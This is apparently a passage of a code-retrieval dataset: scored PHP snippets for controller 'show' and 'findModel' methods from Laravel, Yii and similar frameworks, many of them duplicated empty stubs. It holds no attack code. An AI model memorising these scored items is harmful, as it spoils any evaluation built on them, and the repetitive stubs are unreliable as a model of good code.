$resource->withRecordsWithinDateRange($request->startDate(), $request->endDate());\n });\n\n $stats = generate_stats_from_records($resource->records);\n\n return view('resources.show', compact('resource', 'stats', 'lastRecord'));\n }", "title": "" }, { "docid": "ea2959468f0e3360f355a0256dc44f05", "score": "0.5925876", "text": "function display()\n\t{\n\t\t$this->checkVideoAccess();\n\t\t$document\t= JFactory::getDocument();\n\t\t$viewType\t= $document->getType();\n\t\t$viewName\t= JRequest::getCmd( 'view', $this->getName() );\n\t\t$view\t\t= $this->getView( $viewName , '' , $viewType );\n\t\t\n\t\techo $view->get( __FUNCTION__ );\n\t}", "title": "" }, { "docid": "efc877d628950b2a2648f5399003fe71", "score": "0.5917996", "text": "public function show(Ressource $resource)\n {\n\n return new RessourceR($resource);\n }", "title": "" }, { "docid": "b1ee0604513ee408dcac8ed18b24df7f", "score": "0.5912762", "text": "public function showResource($name)\n {\n $options = Config::get('laravel-swagger::getResourceOptions');\n $resourceName = \"/\" . str_replace(\"-\", \"/\", $name);\n\n $excludedPath = Config::get('laravel-swagger::excludedPath');\n $swagger = new Swagger($this->getPaths(), $excludedPath);\n\n if (Config::get('laravel-swagger::cache') && Cache::has('resource_'.$resourceName)) {\n $resource = Cache::get('resource_'.$resourceName);\n } else {\n if (!in_array($resourceName, $swagger->getResourceNames())) {\n App::abort(404, 'Resource not found');\n }\n\n // Pet demo uses the main laravel-swagger route.\n if ($resourceName == '/petdemo') {\n $options['defaultBasePath'] = route('swagger-index');\n }\n\n $resource = $swagger->getResource($resourceName, $options);\n }\n\n if (Config::get('laravel-swagger::cache') && !Cache::has('resource_'.$resourceName)) {\n Cache::put('resource_'.$resourceName, $resource, $this->getExpireAt());\n }\n\n return $resource;\n }", "title": "" }, { "docid": "b2c60065169a03f2b724e99c8fee9b74", "score": "0.5906451", "text": "public function actionShow()\n {\n $this->render('show');\n }", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d9715e516ec25a4b15c08b2ae6252c4e", "score": "0.58607095", "text": "public function showAction()\n {\n $this->writeSession(); // avoid session write timing bug\n\n // Special case: proxy a full URL:\n $proxy = $this->params()->fromQuery('proxy');\n if (!empty($proxy)) {\n return $this->proxyUrl($proxy);\n }\n\n // Default case -- use image loader:\n $this->getLoader()->loadImage(\n // Legacy support for \"isn\" param which has been superseded by isbn:\n $this->params()->fromQuery('isbn', $this->params()->fromQuery('isn')),\n $this->params()->fromQuery('size'),\n $this->params()->fromQuery('contenttype'),\n $this->params()->fromQuery('title'),\n $this->params()->fromQuery('author'),\n $this->params()->fromQuery('callnumber'),\n $this->params()->fromQuery('issn'),\n $this->params()->fromQuery('oclc'),\n $this->params()->fromQuery('upc')\n );\n return $this->displayImage();\n }", "title": "" }, { "docid": "6d542b39d2ff1e3695538d5d13932255", "score": "0.58599764", "text": "public function controlResource()\n\t{\n\t\t$resourcePage = \\Utility\\Singleton::getInstance('\\View\\Main');\n\t\t\n\t\tswitch($resourcePage->get('resourceAction'))\n\t\t{\n\t\t\tcase 'incrementDownloadsCount':\n\t\t\t\t$data=$this->incrementDownloads();\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'getResourcePage':\n\t\t\t\t$data=$this->getResourcePage();\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\n\t\t\tcase 'rateResource':\n\t\t\t\t$userSession = \\Utility\\Singleton::getInstance('\\Control\\Session');\n\t\t\t\t\n\t\t\t\tif ($userSession->isLoggedIn())\n\t\t\t\t{\n\t\t\t\t\t$data=$this->rateResource();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tprint 'Error. The user is not logged in but is still trying to rate a resource.';\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'getResource_StaticPage':\n\t\t\t\t$resourcePage->assign('templateToDisplay', \"resourcePage.tpl\");\n\t\t\t\t$this->getResourcePage(); // sets the tpl variables ! \n\t\t\t\t$data = $resourcePage->fetch(\"main.tpl\"); // shows the page\n\t\t\t\tbreak;\n\t\t}\t\n\t\t\n\t\treturn $data;\t\t\t\n\t}", "title": "" }, { "docid": "da151f1828a47e20ce9db9b1ce95d89d", "score": "0.58439523", "text": "public function showTaskResource($id=null) {\n\t\t$this->Evaluation->id = $id;\n\t\tif (!$this->Evaluation->exists()) {\n\t\t\tthrow new NotFoundException(__('Invalid evaluation'));\n\t\t}\n\n\t\t$this->Evaluation->recursive = 2; // also load the article record\n\t\t$this->set('evaluation', $this->Evaluation->read(null, $id));\n\n\t\t$this->layout = 'plain';\n\t}", "title": "" }, { "docid": "6e3b046d6dcd2e90f1b5e167dfd4e8e6", "score": "0.5836942", "text": "public function show($id_resource)\n {\n try{\n \n $resource =Resource::find($id_resource);\n if (!$resource) {\n return response()->json(['No existe el recurso'],404);\n }\n return response()->json(['datos' => $resource],200);\n\n }catch(\\Exception $e){\n \n Log::critical(\"no esta creado el recurso: {$e->getCode()} , {$e->getLine()} , {$e->getMessage()}\");\n return response('Algo esta mal',500);\n }\n }", "title": "" }, { "docid": "2258aee65ba455bc0aef378f3fccd130", "score": "0.5827746", "text": "public function edit(Resource $resource)\n {\n return view('resources.edit', compact('resource'));\n }", "title": "" }, { "docid": "d3013ca304fc4179240841ba87242e61", "score": "0.582286", "text": "public function show($id)\n {\n $employee=Employee::find($id);\n return view('human_resources.show',compact('employee'));\n }", "title": "" }, { "docid": "58526873a63ddff4b306282ce5155a89", "score": "0.58138895", "text": "public static function output($resource)\r\n\t{\r\n\t\tif (isset(self::$_resources[$resource])) {\r\n\t\t\t$res =& self::$_resources[$resource];\r\n\r\n\t\t\tif (function_exists('getInternalResource') && $data = getInternalResource($res['data'])) {\r\n\t\t\t\t$filename = self::$embedding_file;\r\n\t\t\t} else {\r\n\t\t\t\t$filename = $res['data'];\r\n\t\t\t}\r\n\r\n\t\t\t// use last-modified time as etag; etag must be quoted\r\n\t\t\t$etag = '\"' . filemtime($filename) . '\"';\r\n\r\n\t\t\t// check headers for matching etag; if etag hasn't changed, use the cached version\r\n\t\t\tif (isset($_SERVER['HTTP_IF_NONE_MATCH']) && $_SERVER['HTTP_IF_NONE_MATCH'] == $etag) {\r\n\t\t\t\theader('HTTP/1.0 304 Not Modified');\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\theader('Etag: ' . $etag);\r\n\r\n\t\t\t// cache file for at most 30 days\r\n\t\t\theader('Cache-control: max-age=2592000');\r\n\r\n\t\t\t// output resource\r\n\t\t\theader('Content-type: ' . $res['mime']);\r\n\r\n\t\t\tif (isset($data)) {\r\n\t\t\t\tif (isset($res['base64'])) {\r\n\t\t\t\t\techo base64_decode($data);\r\n\t\t\t\t} else {\r\n\t\t\t\t\techo $data;\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\treadfile($filename);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "772f1899391cdde388ff0797a9ac90ba", "score": "0.57871646", "text": "public function displayTask()\n\t{\n\t\t// Set the page title\n\t\t$this->_buildTitle(null);\n\n\t\t// Set the pathway\n\t\t$this->_buildPathway(null);\n\n\t\t$this->view\n\t\t\t->set('cloud', new Cloud())\n\t\t\t->set('config', $this->config)\n\t\t\t->display();\n\t}", "title": "" }, { "docid": "e07dd1ea2c7998471ba1119365afd467", "score": "0.57825226", "text": "private function setShowResource($url, $route, $controller)\n {\n return $this->setResource($url, $route, $controller, 'show');\n }", "title": "" }, { "docid": "58b9e5811b41a6e1eb8525e2193c6ee8", "score": "0.57782406", "text": "public function show(Information $information)\n\t{\n\t}", "title": "" }, { "docid": "765678d75db620af12e826ffe74dec55", "score": "0.57683015", "text": "public function display()\n {\n parent::display();\n }", "title": "" }, { "docid": "e7bae91f4e998eac5e73657c932c48d7", "score": "0.5752467", "text": "public function show($id) {\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "6c8e2d2ef5316837594a71f6d09c8fe4", "score": "0.5745173", "text": "public function displayTask()\n\t{\n\t\t// Incoming directory (this should be a path built from a resource ID and its creation year/month)\n\t\t$resource = Request::getInt('resource', 0);\n\n\t\tif (!$resource)\n\t\t{\n\t\t\techo '<p class=\"error\">' . Lang::txt('No resource ID provided.') . '</p>';\n\t\t\treturn;\n\t\t}\n\n\t\tif ($resource < 1 || substr($resource, 0, 4) == '9999')\n\t\t{\n\t\t\t$row = Entry::blank();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$row = Entry::oneOrFail($resource);\n\t\t}\n\t\t$row->set('id', $resource);\n\n\t\t// Incoming sub-directory\n\t\t$subdir = Request::getString('subdir', '');\n\n\t\t// Allow for temp resource uploads\n\t\tif (!$row->get('created') || $row->get('created') == '0000-00-00 00:00:00')\n\t\t{\n\t\t\t$row->set('created', Date::format('Y-m-d 00:00:00'));\n\t\t}\n\n\t\t$path = $row->filespace() . DS . 'media';\n\n\t\t$folders = array();\n\t\t$docs = array();\n\n\t\tif (is_dir($path))\n\t\t{\n\t\t\t// Loop through all files and separate them into arrays of images, folders, and other\n\t\t\t$dirIterator = new \\DirectoryIterator($path);\n\n\t\t\tforeach ($dirIterator as $file)\n\t\t\t{\n\t\t\t\tif ($file->isDot())\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$name = $file->getFilename();\n\n\t\t\t\tif ($file->isDir())\n\t\t\t\t{\n\t\t\t\t\t$folders[$path . DS . $name] = $name;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ($file->isFile())\n\t\t\t\t{\n\t\t\t\t\tif (('cvs' == strtolower($name))\n\t\t\t\t\t || ('.svn' == strtolower($name)))\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$docs[$path . DS . $name] = $name;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tksort($folders);\n\t\t\tksort($docs);\n\t\t}\n\n\t\t// Output the HTML\n\t\t$this->view\n\t\t\t->set('resource', $resource)\n\t\t\t->set('row', $row)\n\t\t\t->set('subdir', $subdir)\n\t\t\t->set('path', $path)\n\t\t\t->set('docs', $docs)\n\t\t\t->set('folders', $folders)\n\t\t\t->setErrors($this->getErrors())\n\t\t\t->setLayout('display')\n\t\t\t->display();\n\t}", "title": "" }, { "docid": "66e03ced3a1ae0b6545066542c4db145", "score": "0.5740594", "text": "public function show($id)\n {\n // NOT CURRENTLY IN USE\n }", "title": "" }, { "docid": "a5c4f542acf75c65ff05c5578f254411", "score": "0.57365245", "text": "public function show($id)\t{\n\t\t//\n\t}", "title": "" }, { "docid": "50906964816f826e5e97434e93a5e9fd", "score": "0.5725398", "text": "public static function build_resource_display($resource)\n {\n return !empty($resource->alias_id)\n ? (\n !empty($resource->alias->display)\n ? $resource->alias->display\n : (\n get_class($resource->alias->reference) == 'RrSection'\n ? $resource->alias->reference->humanized\n : (\n $resource->alias->reference->link_id\n ? $resource->alias->reference->external_link->display\n : $resource->alias->reference->current_content->name\n )\n )\n )\n : (\n !empty($resource->link_id)\n ? $resource->external_link->display\n : $resource\n );\n }", "title": "" }, { "docid": "59b0e1aa7962f363403756316247fa6c", "score": "0.5725074", "text": "public function show($id)\n {\n // NOT IN USE\n }", "title": "" }, { "docid": "20397e06b8673db8692c5f84120c3011", "score": "0.5724891", "text": "public function show()\n\t{\n\n\t}", "title": "" }, { "docid": "20397e06b8673db8692c5f84120c3011", "score": "0.5724891", "text": "public function show()\n\t{\n\n\t}", "title": "" }, { "docid": "db750b3e511e63d406ae28df64eaaebe", "score": "0.57234067", "text": "public function show()\n {\n }", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "d19dcc73e037825dd6d81eb43124c737", "score": "0.57209426", "text": "public function displayPublic(Event $event): void\n {\n $view = $event->getTarget();\n $resource = $view->resource;\n echo $view->annotations($resource);\n }", "title": "" }, { "docid": "92da845f2b45c1c27facc3d1b2652f6e", "score": "0.5720476", "text": "public function show($id)\n {\n // ????\n }", "title": "" }, { "docid": "cb9307a32f6d22a33b956aed56db49ba", "score": "0.5717934", "text": "public function show($id)\n\t{\n\t\t//\n\t\t\n\t}", "title": "" }, { "docid": "32724d56295205b19aa68b02a906dfe2", "score": "0.5716713", "text": "public function display()\n {\n echo c\\L::USER . $this->user . BR .\n c\\L::ACTION . $this->action . BR .\n c\\L::ID . $this->identifier->getId() . BR .\n c\\L::ASSET_TYPE . $this->identifier->getType() . BR .\n c\\L::DATE . date_format( $this->date_time, 'Y-m-d H:i:s' ) . BR . HR;\n \n return $this;\n }", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "560ae0fd472bad5f1d21beeed5dfbbdd", "score": "0.57012135", "text": "public function show(){}", "title": "" }, { "docid": "6b211039d8016aee0608335163b8aa27", "score": "0.5691084", "text": "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('DataBaseBundle:Sitio')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Sitio entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('DataBaseBundle:Sitio:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "5df2376bef8dd69621a6ce7e2afd0bf4", "score": "0.56856436", "text": "abstract public function show($id);", "title": "" }, { "docid": "a485ce56c900259dcc8e330d7c451818", "score": "0.5685515", "text": "public function show($id)\n\t{\n\t\t$subResourceDetail = $this->subResourceDetailRepository->find($id);\n\n\t\tif(empty($subResourceDetail))\n\t\t{\n\t\t\tFlash::error('SubResourceDetail not found');\n\n\t\t\treturn redirect(route('subResourceDetails.index'));\n\t\t}\n\n\t\treturn view('subResourceDetails.show')->with('subResourceDetail', $subResourceDetail);\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]
ed01e9b21f9263ddc017ec52943ee8c4
Finds the Models model based on its primary key value. If the model is not found, a 404 HTTP exception will be thrown.
[ { "docid": "01584cf26a5c433311b616a01a8e5ad4", "score": "0.0", "text": "protected function findModel($id)\n {\n if (($model = Models::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\n }", "title": "" } ]
[ { "docid": "517a5fbe12e1ecf6e447bfac2e30fbc1", "score": "0.7540368", "text": "protected function findModel($id)\n\t{\n\t\tif (($model = DataRepair::findOne($id)) !== null) {\n\t\t\treturn $model;\n\t\t} else {\n\t\t\tthrow new HttpException(404, 'The requested page does not exist.');\n\t\t}\n\t}", "title": "" }, { "docid": "6bccc962a2c35bcec08949f6b5b94f55", "score": "0.73287517", "text": "protected function findModel($id)\n {\n if (($model = ApiKeys::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "6e96cef07c6424a2e3cb10cbae4bb534", "score": "0.7205675", "text": "public function findByKey(int|string $key): ?Model;", "title": "" }, { "docid": "e95fb0473bb6622c384891462ef1116b", "score": "0.71690327", "text": "protected function findModel($id) {\n\t\tif (($model = AuthItem::findOne(['name'=>$id])) !== null) {\n\t\t\treturn $model;\n\t\t} else {\n\t\t\tthrow new NotFoundHttpException ( 'The requested page does not exist.' );\n\t\t}\n\t}", "title": "" }, { "docid": "93c6bc982ace3cf48d7361631bad31ee", "score": "0.7128436", "text": "protected function findModel($id)\n\t{\n\t\tif (($model = VoyageDistance::findOne($id)) !== null) {\n\t\t\treturn $model;\n\t\t} else {\n\t\t\tthrow new HttpException(404, 'The requested page does not exist.');\n\t\t}\n\t}", "title": "" }, { "docid": "60110268177b3f3f9b9d1608ab17b102", "score": "0.7064537", "text": "public function getModelByPrimaryKey($id)\n {\n foreach($this->models as $model)\n {\n $primaryKey = $model->getKeyName();\n if($model->$primaryKey == $id)\n return $model;\n }\n }", "title": "" }, { "docid": "4c5413c16058b7c2b97cbdc6f7031d74", "score": "0.69747597", "text": "protected function findModel()\n {\n $id = Yii::$app->request->get('id');\n $id = $id ? $id : Yii::$app->request->post('id');\n if (($model = ShipAddress::findOne($id)) !== null) {\n return $model;\n }\n\n throw new HttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "14884261ebbc0a8c289f8b533635f53a", "score": "0.6958829", "text": "public function findModel($id, $class)\n {\n if ($model = $class::findOne($id)) {\n return $model;\n }\n throw new HttpException(404, 'The requested page does not exist.');\n }", "title": "" }, { "docid": "adf00acb31350956493dc04a67195792", "score": "0.6902782", "text": "protected function findModel($id)\n {\n if (($model = models\\RbacAuthitems::findOne($id)) !== null) {\n return $model;\n } else {\n throw new Exception('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "8499b035ff6ef9cfbb1c105b3811d6c6", "score": "0.68853146", "text": "protected function findModel($id)\r\n {\r\n if (($model = ComplaintRecord::findOne($id)) !== null) {\r\n return $model;\r\n } else {\r\n throw new NotFoundHttpException('The requested page does not exist.');\r\n }\r\n }", "title": "" }, { "docid": "c6651fbde69375b83bf5bb9239303935", "score": "0.6883516", "text": "protected function findModel($id)\n {\n if (($model = Kpi::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "d4f020e42ad03630bb406f261de38df9", "score": "0.6873423", "text": "protected function findModel($id) {\n\t\t$modelClass = $this->modelClass;\n\t\tif (($model = $modelClass::findOne($id)) !== null) {\n\t\t\treturn $model;\n\t\t}\n\n\t\tthrow new NotFoundHttpException('The requested page does not exist.');\n\t}", "title": "" }, { "docid": "0fd4ed45f1e9f591c5be1e03c9555c54", "score": "0.6862252", "text": "protected function findModel($id)\n {\n if (($model = ApplicationMaster::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "475e98a1f058f6eab2157a5cd8ba8d3c", "score": "0.6856409", "text": "protected function findModel($id){\r\n // Get namespace of model\r\n $ecommerce = Ecommerce::module();\r\n $namespaceModel = $ecommerce->itemModule;\r\n \r\n if (($model = $namespaceModel::findOne($id)) !== null) {\r\n return $model;\r\n } else {\r\n throw new NotFoundHttpException('The requested page does not exist.');\r\n }\r\n }", "title": "" }, { "docid": "cfd094dba5b4c2db86cd31af4129a55f", "score": "0.6844666", "text": "protected function findModel($id)\n {\n if (($model = Karcis::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "6b479fe3f0bec5ecd03d0008798ffab0", "score": "0.68378454", "text": "protected function findModel($id) {\n if (($model = Documents::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "a2d20fcc5379c157238b8e07a1a07faa", "score": "0.6832812", "text": "public function findOrFail($id): Model\n {\n if (!$record = $this->model->findFirst([\"id = :value:\", 'bind' => ['value' => $id]])) {\n throw new ModelNotFoundException(\"Caught ModelNotFoundException in \" . __METHOD__ . ' at line ' . __LINE__ . ': Model not found.');\n }\n\n return $record;\n }", "title": "" }, { "docid": "1eb2324108e05f1aaa4e6289bfa56c45", "score": "0.6813712", "text": "protected function findModel($id) {\n if (($model = MakTahun::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "1fcf0e70f3070c728a4667eab6d0efaa", "score": "0.6798283", "text": "protected function findModel($id) {\n if (($model = PdmP51::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "3cc30bf744f5bc52fe0e5bd43a6316fa", "score": "0.6794708", "text": "public function findOneById()\n {\n $keys = $this->getConnection()->getPrimaryKey($this->getDatabaseName(), $this->getModelTable());\n if(empty($keys)) {\n throw new \\RuntimeException(\n \"Primary Key for {$this->getModelName()} could not be found verify indexes on model\"\n );\n }\n\n $args = func_get_args();\n\n if(count($args) !== count($keys)) {\n throw new \\RuntimeException(\"findOneBy expected: \" . count($keys) . \" value(s), \" . count($args) .\" received\");\n }\n\n $criteria = array();\n foreach($keys as $i => $key) {\n $criteria[$key] = $args[$i];\n }\n return $this->findOne($criteria);\n }", "title": "" }, { "docid": "3e7737fcd01128e2f414d99434223ce9", "score": "0.67888874", "text": "protected function findModel($id)\n\t{\n\t\tif (($model = call_user_func([$this->modelClass, 'findOne'], $id)) !== null) {\n\t\t\treturn $model;\n\t\t} else {\n\t\t\tthrow new NotFoundHttpException('The requested page does not exist.');\n\t\t}\n\t}", "title": "" }, { "docid": "bc667617491c3a84c8cee28837111a2d", "score": "0.67838305", "text": "protected function findModel($id)\n\t{\n\t\tif (($model = Client::findOne($id)) !== null) {\n\t\t\treturn $model;\n\t\t} else {\n\t\t\tthrow new NotFoundHttpException('The requested page does not exist.');\n\t\t}\n\t}", "title": "" }, { "docid": "9484f87ba1651497af48fa05431675bc", "score": "0.67811155", "text": "protected function findModel($id)\n {\n if (($model = Documents::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('Запрошенная страница не может быть найдена.');\n }\n }", "title": "" }, { "docid": "6c890175f59e0922b69582bf594135f7", "score": "0.67793167", "text": "protected function findModel($id)\n\t{\n\t\tif (empty($this->modelClass)) {\n\t\t\tthrow new InvalidCallException(__CLASS__ . '::findModel() method requires $this->modelClass property to be set.');\n\t\t}\n\t\tif (($model = call_user_func_array([$this->modelClass, 'findOne'], [$id])) !== null) {\n\t\t\treturn $model;\n\t\t}\n\t\tthrow new NotFoundHttpException('The requested page does not exist.');\n\t}", "title": "" }, { "docid": "33e04ee7e5090544dc8f1eca7071060c", "score": "0.6778866", "text": "protected function findModel($id)\n {\n if (($model = Request::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('Запрашиваемая страница не существует.');\n }\n }", "title": "" }, { "docid": "8e29e10b5292d3c69d4c118275a866fa", "score": "0.67777854", "text": "protected function findModel($id)\n {\n \tif (($model = Ad::findOne($id)) !== null) {\n \t\treturn $model;\n \t} else {\n \t\tthrow new NotFoundHttpException('The requested page does not exist.');\n \t}\n }", "title": "" }, { "docid": "7c4297c34f941b10037ad61858cbe579", "score": "0.6769384", "text": "protected function findModel($id) {\n\t\tif (($model = MovimentacaoSearch::findOne($id)) !== null) {\n\t\t\treturn $model;\n\t\t} else {\n\t\t\tthrow new NotFoundHttpException('The requested page does not exist.');\n\t\t}\n\t}", "title": "" }, { "docid": "f65919011255a32b2cd00c733f6d9494", "score": "0.6768242", "text": "protected function findModel($id)\n {\n if (($model = Applications::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "12ecb34ecadf52e1be05e29bd4310a3a", "score": "0.6760348", "text": "protected function findModel($id)\n {\n if (($model = Compra::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "9e10ace6e87657cfc386fc098fac8f75", "score": "0.67508435", "text": "public function restFindModelObject($recordId)\n {\n if (!strlen($recordId)) {\n throw new HttpException(404, 'Record ID has not been specified.');\n }\n\n $model = $this->controller->restCreateModelObject();\n\n /*\n * Prepare query and find model record\n */\n $query = $model->newQuery();\n\n 